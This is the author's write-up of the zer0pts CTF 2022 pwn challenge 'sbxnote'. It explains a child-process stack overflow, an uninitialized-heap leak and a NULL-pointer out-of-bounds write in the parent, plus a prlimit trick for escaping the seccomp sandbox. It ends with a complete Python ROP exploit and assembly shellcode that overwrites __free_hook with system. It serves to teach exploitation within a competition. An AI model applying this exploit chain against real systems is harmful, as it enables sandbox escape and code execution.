sbxnote - zer0pts CTF 2022

tags: zer0pts CTF 2022 pwn

Writeups: https://hackmd.io/@ptr-yudai/rJgjygUM9

Overview

The program looks a simple note service. However, there are two processes:

  • Child
    • Interface to read input and print output
    • Having a simple stack buffer overflow vulnerability
    • Sandboxed
  • Parent
    • Managing notes
    • No exploitable vulnerability by itself
    • Unsandboxed

These processes communicates with each other through pipe. The child process is sandboxed with the following seccomp rules:

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x11 0xc000003e  if (A != ARCH_X86_64) goto 0019
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x0f 0x00 0x40000000  if (A >= 0x40000000) goto 0019
 0004: 0x15 0x0e 0x00 0x00000002  if (A == open) goto 0019
 0005: 0x15 0x0d 0x00 0x00000101  if (A == openat) goto 0019
 0006: 0x15 0x0c 0x00 0x0000003b  if (A == execve) goto 0019
 0007: 0x15 0x0b 0x00 0x00000142  if (A == execveat) goto 0019
 0008: 0x15 0x0a 0x00 0x00000055  if (A == creat) goto 0019
 0009: 0x15 0x09 0x00 0x00000039  if (A == fork) goto 0019
 0010: 0x15 0x08 0x00 0x0000003a  if (A == vfork) goto 0019
 0011: 0x15 0x07 0x00 0x00000038  if (A == clone) goto 0019
 0012: 0x15 0x06 0x00 0x00000065  if (A == ptrace) goto 0019
 0013: 0x15 0x05 0x00 0x0000003e  if (A == kill) goto 0019
 0014: 0x15 0x04 0x00 0x000000c8  if (A == tkill) goto 0019
 0015: 0x15 0x03 0x00 0x000000ea  if (A == tgkill) goto 0019
 0016: 0x15 0x02 0x00 0x00000136  if (A == process_vm_readv) goto 0019
 0017: 0x15 0x01 0x00 0x00000137  if (A == process_vm_writev) goto 0019
 0018: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0019: 0x06 0x00 0x00 0x00000000  return KILL

As far as I know, (on Ubuntu 20.04) there's no way to bypass this rule to execute arbitrary commands.

Both processes are protected without SSP:

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

Bugs

Child: BOF

Buffer overflow on reading a number.

long getlong(const char *msg) {
  char buf[32];
  print(msg);
  if (read(0, buf, 322) < 0)
    exit(1);
  return atol(buf);
}

You can exploit this if you can bypass ASLR because SSP is disabled.

Parent: Uninitialized Buffer

There's no code to fill the array with zero.

      /* Create new buffer */
      case NEW: {
        if (req.size > 2800) {
          /* Invalid size*/
          RESPONSE(-1);
          break;
        }

        /* Allocate new buffer */
        old = buffer;
        if (!(buffer = (uint64_t*)malloc(req.size * sizeof(uint64_t)))) {
          /* Memory error */
          size = -1;
          RESPONSE(-1);
          break;
        }

        /* Prevent memory leak */
        free(old);

        /* Update size */
        size = req.size;

        RESPONSE(0);
        break;
      }

The child process can read the uninitialized buffer to leak the address of heap and libc.

Parent: NULL Pointer Dereference and OOB

There is one more vulnerability possibly exploitable in the parent process.

        /* Allocate new buffer */
        old = buffer;
        if (!(buffer = (uint64_t*)malloc(req.size * sizeof(uint64_t)))) {
          /* Memory error */
          size = -1;
          RESPONSE(-1);
          break;
        }

If it fails to allocate the buffer, the size becomes -1. However, the type of size is size_t, which is unsigned, and so it may cause out-of-bounds read/write because there's no NULL pointer check:

      /* Set value */
      case SET: {
        if (req.index < 0 || req.index >= size) {
          /* Invalid index */
          RESPONSE(-1);
          break;
        }

        /* Set value */
        buffer[req.index] = req.value;

        RESPONSE(0);
        break;
      }

This vulnerability is the same as that of MemSafeD. This bug turns into AAR/AAW vulnerability.

The hardest part of this task is to find out how you can make malloc return NULL. malloc returns NULL if it fails to allocate the buffer.
The easiest way is to simply request a very big buffer. However, the size is checked below:

        if (req.size > 2800) {
          /* Invalid size*/
          RESPONSE(-1);
          break;
        }

We cannot use up the memory with this small size because there's no memory leak bug.

prlimit: Controlling the Parent

You can solve the problem with one simple system call: prlimit.
This system call can get and set the resource of a process even if it's not the child process without any capabilities.

You can set the limit on memory size by RLIMIT_AS. If you set this value small enough and apply it to the parent process, the parent process can no longer allocate memory bigger than the value.
(Be noted the system call will fail if you set the size too small.)

However, this system call does not restrict the behavior of malloc. It only affects the behavior of mmap system call.
So, you need to make malloc try to mmap a new region and fail it. malloc will call mmap when the heap is used up. Even if the maximum size of allocation is small, we can use up the heap by precisely filling tcache, fastbin, and other bins.

Last but not least, don't forget to remove the memory limit of the parent process before spawning the shell :)

Exploit

import os from ptrlib import * def new(size): sock.sendlineafter("> ", "1") sock.sendlineafter(": ", str(size)) def get(index): sock.sendlineafter("> ", "3") sock.sendlineafter(": ", str(index)) return int(sock.recvlineafter(" = ")) HOST = os.getenv('HOST', 'localhost') PORT = os.getenv('PORT', '9004') libc = ELF("./libc-2.31.so") #sock = Process("../distfiles/bin/chall") sock = Socket(HOST, int(PORT)) # Leak libc base new(0x88) new(4) new(0x88) libc.set_base(get(0) - libc.main_arena() - 0x60) rop_pop_rdi = libc.base + 0x00023b72 rop_pop_rsi = libc.base + 0x0002604f rop_pop_rdx_r12 = libc.base + 0x00119241 # Prepare shellcode addr_shellcode = libc.section('.bss') + 0x1000 payload = b'A' * 0x28 payload += flat([ # mprotect(shellcode, 0x1000, 7) rop_pop_rdx_r12, 7, 0xdeadbeef, rop_pop_rsi, 0x2000, rop_pop_rdi, addr_shellcode & 0xfffffffffffff000, libc.symbol('mprotect'), # read(0, shellcode, 0x1000) rop_pop_rdx_r12, 0x1000, 0xdeadbeef, rop_pop_rsi, addr_shellcode, rop_pop_rdi, 0, libc.symbol('read'), # shellcode() addr_shellcode ], map=p64) sock.sendafter("> ", payload) # Inject shellcode shellcode = nasm( open("shellcode.S").read().format( environ=libc.symbol('environ'), free_hook=libc.symbol('__free_hook') // 8, system=libc.symbol('system') ), bits=64 ) sock.send(shellcode) sock.close()
_start: ; r13 = p2c ; r14 = c2p ; r15 = ppid mov rsi, {environ} mov rsi, [rsi] mov r14d, [rsi-0x114] lea r13, [r14+1] mov r15d, [rsi-0x10c] ;; Restrict parent's memory limit ; prlimit(ppid, RLIMIT_AS, new_limit, NULL) xor r10d, r10d lea rdx, [rel new_limit] mov esi, 9 mov edi, r15d mov eax, 302 syscall test eax, eax jnz NG ;; Use up parent's heap xor ebp, ebp _consume: inc ebp mov [rel s], ebp ; request(NEW, size) mov edx, 0x18 lea rsi, [rel request_new] mov edi, r14d mov eax, 1 syscall cmp eax, 0x18 jnz NG ; wait(res) mov edx, 4 lea rsi, [rel res] mov edi, r13d mov eax, 0 syscall cmp eax, 4 jnz NG mov eax, [rel res] test eax, eax jz _consume ;; now buffer=NULL, size=-1 ;; *__free_hook = system mov rax, {free_hook} mov [rel i], rax mov rax, {system} mov [rel v], rax ; request(SET, __free_hook/8, system) mov edx, 0x18 lea rsi, [rel request_set] mov edi, r14d mov eax, 1 syscall cmp eax, 0x18 jnz NG ;; Loose limit on parent's memory ; prlimit(ppid, RLIMIT_AS, remove_limit, NULL) xor r10d, r10d lea rdx, [rel remove_limit] mov esi, 9 mov edi, r15d mov eax, 302 syscall test eax, eax jnz NG ;; prepare command to execute mov dword [rel s], 0x20 ; request(NEW, size) mov edx, 0x18 lea rsi, [rel request_new] mov edi, r14d mov eax, 1 syscall cmp eax, 0x18 jnz NG xor ebp, ebp _inject: mov [rel i], rbp lea rsi, [rel s_cmd] mov rax, [rsi+rbp*8] mov [rel v], rax ; request(SET, i, cmd[i*8:i*8+8]) mov edx, 0x18 lea rsi, [rel request_set] mov edi, r14d mov eax, 1 syscall cmp eax, 0x18 jnz NG inc ebp cmp ebp, 0x20 jnz _inject ;; win! ; request(NEW, size) mov edx, 0x18 lea rsi, [rel request_new] mov edi, r14d mov eax, 1 syscall cmp eax, 0x18 jnz NG int3 NG: hlt res: dd 0 request_new: dq 0 ; NEW s:dq 0 ; size dq 0 ; unused request_set: dq 1 ; SET i:dq 0 ; index v:dq 0 ; value new_limit: dq 0 ; soft limit dq 0x133700000000 ; hard limit remove_limit: dq 0x133700000000 ; soft limit dq 0x133700000000 ; hard limit s_cmd: db '/bin/ls -lha > /tmp/pwned', 0